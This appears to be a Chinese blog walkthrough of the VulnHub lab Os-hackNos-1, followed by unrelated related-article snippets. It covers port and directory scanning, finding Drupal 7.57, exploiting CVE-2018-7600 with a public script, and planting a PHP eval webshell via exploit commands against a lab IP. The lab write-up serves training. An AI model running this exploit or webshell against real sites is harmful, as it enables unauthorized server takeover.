【渗透测试】-vulnhub源码框架漏洞-Os-hackNos-1
vulnhub源码框架漏洞中的CVE-2018-7600-Drupal 7.57
文章目录
前言
1.靶场搭建:
2.信息搜集:
主机探测:
端口扫描:
目录扫描:
3.分析:
4.步骤:
1.下载CVE-2018-7600的exp
2.执行exp:
3.写入木马:
4.获取webshell
5.oday,1day,nday漏洞区别
前言 什么是源码框架漏洞?
源码框架是指在软件开发过程中,为了提高开发效率、简化开发流程、提高代码质量和可靠性的基础架构和模板。
若该框架中存在漏洞,hacker便可以此漏洞,迅速发起所谓的“1day攻击”-针对那些尚未应用相应安全补丁的、使用了该漏洞框架的网站或应用进行广泛而有效的渗透,严重威胁到用户数据的安全性和服务的稳定性。
1.靶场搭建:
请参考vulnhub靶机 Os-hackNos-1_os-hacknos-1无法找到ip地址-CSDN博客
编辑->虚拟网络编辑器->更改

Kali,靶机配置两次,使其ip地址处于同一网段上。
2.信息搜集:
主机探测:
Kali:192.168.147.130
靶机:192.168.147.145
端口扫描:
nmap -sT 192.168.147.145
22/tcp open ssh
80/tcp open http
目录扫描:
python dirsearch.py -u 192.168.147.145

发现登录页面:http://192.168.147.145/drupal/

爆破

用户名:

密码:

没爆出来

换一种思路
对http://192.168.147.145/drupal/进行目录扫描

得出存活目录:
200 - 317B - /drupal/.editorconfig

->没什么东西
200 - 174B - /drupal/.gitignore

->没用
200 - 32KB - /drupal/CHANGELOG.txt

得到/drupal版本信息,2018-今, Drupal 7.57
200 - 769B - /drupal/COPYRIGHT.txt

Java/php配置
200 - 1KB - /drupal/includes/

感觉没什么东西,还是大至翻一翻
ssh

代码审计-最后考虑。
Password

注释-密码范围,看这范围直接放弃
200 - 132KB - /drupal/includes/bootstrap.inc

主要得出php版本号:5.2.4
200 - 842B - /drupal/INSTALL.pgsql.txt

->好像和数据库有关,可就开放了两个端口,浪费时间……
200 - 868B - /drupal/INSTALL.mysql.txt

->这是教怎么创建数据库?和题没有一点关系。
200 - 1KB - /drupal/install.php

->没用
200 - 1KB - /drupal/install.php?profile=default

->没用
200 - 6KB - /drupal/INSTALL.txt

->又在提版本号
200 - 7KB - /drupal/LICENSE.txt
->没用
200 - 2KB - /drupal/MAINTAINERS.txt

->一堆介绍与,可惜没有泄露重要消息
200 - 849B - /drupal/modules/

200 - 271B - /drupal/profiles/minimal/minimal.info
一个下载文件

Drupal 7.57版本的“Minimal”发行版或配置,它仅启用了少数几个核心模块(如block和dblog),
200 - 743B - /drupal/profiles/standard/standard.info

200 - 278B - /drupal/profiles/testing/testing.info

200 - 2KB - /drupal/README.txt

接口之类的描述。
200 - 744B - /drupal/robots.txt

->python爬虫的君子协定,没有关系
200 - 648B - /drupal/scripts/
200 - 129B - /drupal/sites/all/libraries/README.txt
200 - 0B - /drupal/sites/example.sites.php
200 - 715B - /drupal/sites/all/modules/README.txt

->没什么用
200 - 545B - /drupal/sites/all/themes/README.txt
->一样
200 - 431B - /drupal/sites/README.txt

sites/all/,扩展
200 - 536B - /drupal/themes/

200 - 3KB - /drupal/UPGRADE.txt

->介绍版本
200 - 2KB - /drupal/web.config

->一节源代码,与目录拼接有关
200 - 42B - /drupal/xmlrpc.php

->没用
3.分析:
Drupal是使用PHP语言编写的开源内容管理框架,既然是框架,即我们找到它框架的漏洞就能找到http://192.168.147.145/drupal/的漏洞
而我们查明drupal的版本号是Drupal7.57,最著名的是远程代码执行(RCE)漏洞
CVE-2018-7600(远程代码执行漏洞)
- 影响:Drupal 7的Form API中存在一处远程代码执行漏洞,影响Drupal 7的多个版本,包括7.57。
- 方式:通过向Drupal站点发送特制的HTTP请求,攻击者可以利用该漏洞执行任意代码。这通常涉及对表单数据或Ajax调用的篡改。
- 利用:存在专门的Python脚本(如drupa7-CVE-2018-7600.py)用于自动化利用此漏洞。攻击者可以通过这些脚本测试目标网站是否存在该漏洞,并执行命令以获取敏感信息或进一步控制服务器。
4.步骤:
1.下载CVE-2018-7600的exp
git clone https://github.com/pimps/CVE-2018-7600.git
2.执行exp:
python drupa7-CVE-2018-7600.py http://192.168.147.145/drupal/ -c -l

3.写入木马:
python drupa7-CVE-2018-7600.py http://192.168.147.145/drupal/ -c "echo '<?php phpinfo(); ?>' > rce1.php" ->输出php
python drupa7-CVE-2018-7600.py http://192.168.147.145/drupal/ -c "echo '<?php @eval($_POST[cmd]); ?> '> rce2.php" ->上码子

4.获取webshell

蚁剑连接webshell

5.oday,1day,nday漏洞区别
0day漏洞:是指那些尚未被公众发现、官方尚未发布补丁的安全漏洞。这些漏洞的存在是未知的,软件开发商和用户都未意识到其存在,但攻击者已经知晓并可以利用它们进行攻击。
特点:
1.漏洞尚未被公开披露,软件厂商和用户都不知情。
2.由于漏洞未被修补,黑客可以利用它们进行持续性攻击,窃取敏感信息或瘫痪系统。
3.由于漏洞的未知性,软件厂商需要投入大量资源进行漏洞挖掘和修复工作。
1day漏洞:指那些已经被发现并公开披露,但软件厂商尚未发布修补程序或用户尚未广泛安装补丁的漏洞。这些漏洞的存在是已知的,但由于修补程序尚未到位,它们仍然可以被黑客利用。
特点:
1.漏洞已被公开披露,软件厂商和用户都已知情。
2.虽然漏洞已知,但由于修补程序尚未发布或用户尚未更新,黑客仍然可以利用它们进行攻击。然而,由于漏洞已经公开,用户和安全研究人员可以采取一些临时措施来降低风险。
nday漏洞:nday漏洞是指那些已经被软件厂商发现并发布了修补程序,但经过一段时间后,仍有部分用户尚未安装这些补丁的漏洞。这里的“n”代表天数,表示从漏洞被发现并发布补丁到当前时间的天数。
1.漏洞已被公开披露,并且软件厂商已经发布了修补程序。
2.由于修补程序的存在,黑客利用这些漏洞进行攻击的难度相对较大。然而,如果大量用户仍未更新补丁,黑客仍然有可能找到漏洞并利用它们。
相关文章:
【渗透测试】-vulnhub源码框架漏洞-Os-hackNos-1
vulnhub源码框架漏洞中的CVE-2018-7600-Drupal 7.57 文章目录 前言 1.靶场搭建: 2.信息搜集: 主机探测: 端口扫描: 目录扫描: 3.分析: 4.步骤: 1.下载CVE-2018-7600的exp 2.执行exp: 3.写入木…...
sqli-lab靶场学习(三)——Less8-10(盲注、时间盲注)
Less8 第八关依然是先看一般状态 http://localhost/sqli-labs/Less-8/?id1 然后用单引号闭合: http://localhost/sqli-labs/Less-8/?id1 这关的问题在于报错是不显示,那没办法通过上篇文章的updatexml大法处理。对于这种情况,需要用“盲…...
Pybullet 安装过程
Pybullet 安装过程(windows) 1. 安装C编译工具2. 安装Pybullet 1. 安装C编译工具 pybullet 需要C编译套件,直接装之前检查下,要不会报缺少某版本MVSC的error,最好的方式是直接下载visual studio,直接按默认…...
Error when custom data is added to Azure OpenAI Service Deployment
题意:在向 Azure OpenAI 服务部署添加自定义数据时出现错误。 问题背景: I receive the following error when adding my custom data which is a .txt file (it doesnt matter whether I add it via Azure Cognitive Search, Azure Blob Storage, or F…...
libreoffice word转pdf
一、准备一个word文件 运行: cd /root libreoffice --headless --convert-to pdf --outdir /root/output doc1.docx 发现中文乱码: 此时我们需要给linux 上添加中文字体: centos7 添加中文字体 再次运行正常: libreoffice --h…...
java -----泛型
泛型的理解和好处 泛型是在JDK5之后引入的一个新特性,可以在编译阶段约束操作的数据类型,并进行检查。 泛型的格式为 <数据类型> import java.util.ArrayList;SuppressWarnings({"all"}) public class Generic02 {public static void…...
Springboot 文件上传下载相关问题
文章目录 关于Springboot 文件上传下载问题解决方案注意事项文件上传文件下载文件删除文件在线打开在写练习的时候,发现了一些小小的问题,已经在 上述代码中体现。① 代码路径碰到中文的时候,会有乱码,需要转换(内容中…...
【Kotlin 与 Java 互操作】Java中调用带有默认值的Kotlin函数(十四)
导读大纲 1.0.1 Java 没有默认参数值的概念1.0.2 使用 JvmOverloads 来简化调用 1.0.1 Java 没有默认参数值的概念 因此当从 Java 调用带有默认参数值的 Kotlin 函数时 1. 必须明确指定所有参数值 fun <T> joinToString(collection: Collection<T>,separator: St…...
点赞系统实现
点赞功能是社交、电商等几乎所有的互联网项目中都广泛使用。虽然看起来简单,不过蕴含的技术方案和手段还是比较多的。 下面将分享之前做的判题OJ系统的点赞系统的思路。 1.需求分析 点赞功能与其它功能不同,没有复杂的原型和需求,仅仅是一…...
c++进阶学习-----继承
1.继承的概念及定义 1.1继承的概念 继承(inheritance)机制是面向对象程序设计使代码可以复用的最重要的手段,它允许程序员在保持原有类特性的基础上进行扩展,增加功能,这样产生新的类,称派生类。 继承呈现了面向对象 程序设计的…...
C++学习笔记(37)
302、makefile 在实际开发中,项目的源代码文件比较多,按类型、功能、模块分别存放在不同的目录和文件中,哪 些文件需要先编译,那些文件后编译,那些文件需要重新编译,还有更多更复杂的操作。 make 是一个强大…...
Redis发布和订阅
Redis 发布订阅 (pub/sub) 是一种消息通信模式:发送者 (pub) 发送消息,订阅者(sub) 接收消息 可以实现进程间的消息传递。这种模式非常适用于实时消息传递、事件通知和消息分发等场景 Redis可以实现消息中间件MQ的功能,通过发布订阅实现消息…...
计算机毕设设计推荐-基于python+Djanog大数据的电影数据可视化分析
精彩专栏推荐订阅:在下方主页👇🏻👇🏻👇🏻👇🏻 💖🔥作者主页:计算机毕设木哥🔥 💖 文章目录 一、电影数据可视…...
dhtmlxGantt 甘特图 一行展示多条任务类型
效果如图: 后台拿到数据 处理之后如图: 含义: 如上图所示, 如果一行需要展示多个 需要给父数据的那条添加render:split属性, 子数据的parent为父数据的Id即可 切记 父数据的id 别为0 为0 时 会出现错乱 因为有些小伙伴提出分段展示的数据结构还是有点问题,下面展示一个完整…...
COLORmap
在这段MATLAB代码中,surf(peaks)、map的定义以及colormap(map)的调用共同完成了以下任务: 1. **绘制曲面图**: - surf(peaks):这个函数调用了MATLAB内置的peaks函数来生成数据,并使用surf函数将这些数据绘制成一个…...
手机在网状态查询接口如何用Java进行调用?
一、什么是手机在网状态查询接口? 手机在网状态查询接口,又叫运营商在网状态查询,手机号在网状态查询,传入手机号码,查询该手机号的在网状态,返回内容有正常使用、停机、在网但不可用、不在网(…...
mysql性能优化- 数据库配置优化
MySQL 性能优化 - 数据库配置优化 MySQL 是一个广泛使用的关系型数据库管理系统,但随着数据量的增长和访问频率的提高,其性能可能会成为瓶颈。为了保持高效的性能,除了应用层的查询优化和索引优化之外,数据库配置优化 也是非常重…...
(算法)大数的进制转换
题目描述 将一个长度最多为30位数字的十进制非负整数转换为二进制数输出输入描述: 多组数据,每行为一个长度不超过30位的十进制非负整数。 (注意是10进制数字的个数可能有30个,而非30bits的整数)解析 例子 :123&…...
演示jvm锁存在的问题
文章目录 1、AlbumInfoApiController --》testLock()2、redis添加键值对3、AlbumInfoServiceImpl --》testLock() 没有加锁4、使用ab工具测试4.1、安装 ab 工具4.2、查看 redis 中的值 5、添加本地锁 synchronized6、集群情况下问题演示 jvm锁:synchronized lock 只…...
Android SharedPreference详解
Android SharedPreference详解 SharedPreferences作为一种数据持久化的方式,是处理简单的key-value类型数据时的首选。 一般用法: //demo是该sharedpreference对应文件名,对应的是一个xml文件,里面存放key-value格式的数据. SharedPreferences sharedPreferences…...
铭豹扩展坞 USB转网口 突然无法识别解决方法
当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…...
关于iview组件中使用 table , 绑定序号分页后序号从1开始的解决方案
问题描述:iview使用table 中type: "index",分页之后 ,索引还是从1开始,试过绑定后台返回数据的id, 这种方法可行,就是后台返回数据的每个页面id都不完全是按照从1开始的升序,因此百度了下,找到了…...
Java-41 深入浅出 Spring - 声明式事务的支持 事务配置 XML模式 XML+注解模式
点一下关注吧!!!非常感谢!!持续更新!!! 🚀 AI篇持续更新中!(长期更新) 目前2025年06月05日更新到: AI炼丹日志-28 - Aud…...
【AI学习】三、AI算法中的向量
在人工智能(AI)算法中,向量(Vector)是一种将现实世界中的数据(如图像、文本、音频等)转化为计算机可处理的数值型特征表示的工具。它是连接人类认知(如语义、视觉特征)与…...
GitHub 趋势日报 (2025年06月08日)
📊 由 TrendForge 系统生成 | 🌐 https://trendforge.devlive.org/ 🌐 本日报中的项目描述已自动翻译为中文 📈 今日获星趋势图 今日获星趋势图 884 cognee 566 dify 414 HumanSystemOptimization 414 omni-tools 321 note-gen …...
高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数
高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数 在软件开发中,单例模式(Singleton Pattern)是一种常见的设计模式,确保一个类仅有一个实例,并提供一个全局访问点。在多线程环境下,实现单例模式时需要注意线程安全问题,以防止多个线程同时创建实例,导致…...
快刀集(1): 一刀斩断视频片头广告
一刀流:用一个简单脚本,秒杀视频片头广告,还你清爽观影体验。 1. 引子 作为一个爱生活、爱学习、爱收藏高清资源的老码农,平时写代码之余看看电影、补补片,是再正常不过的事。 电影嘛,要沉浸,…...
嵌入式学习之系统编程(九)OSI模型、TCP/IP模型、UDP协议网络相关编程(6.3)
目录 一、网络编程--OSI模型 二、网络编程--TCP/IP模型 三、网络接口 四、UDP网络相关编程及主要函数 编辑编辑 UDP的特征 socke函数 bind函数 recvfrom函数(接收函数) sendto函数(发送函数) 五、网络编程之 UDP 用…...
Spring AOP代理对象生成原理
代理对象生成的关键类是【AnnotationAwareAspectJAutoProxyCreator】,这个类继承了【BeanPostProcessor】是一个后置处理器 在bean对象生命周期中初始化时执行【org.springframework.beans.factory.config.BeanPostProcessor#postProcessAfterInitialization】方法时…...
解析“道作为序位生成器”的核心原理
解析“道作为序位生成器”的核心原理 以下完整展开道函数的零点调控机制,重点解析"道作为序位生成器"的核心原理与实现框架: 一、道函数的零点调控机制 1. 道作为序位生成器 道在认知坐标系$(x_{\text{物}}, y_{\text{意}}, z_{\text{文}}…...
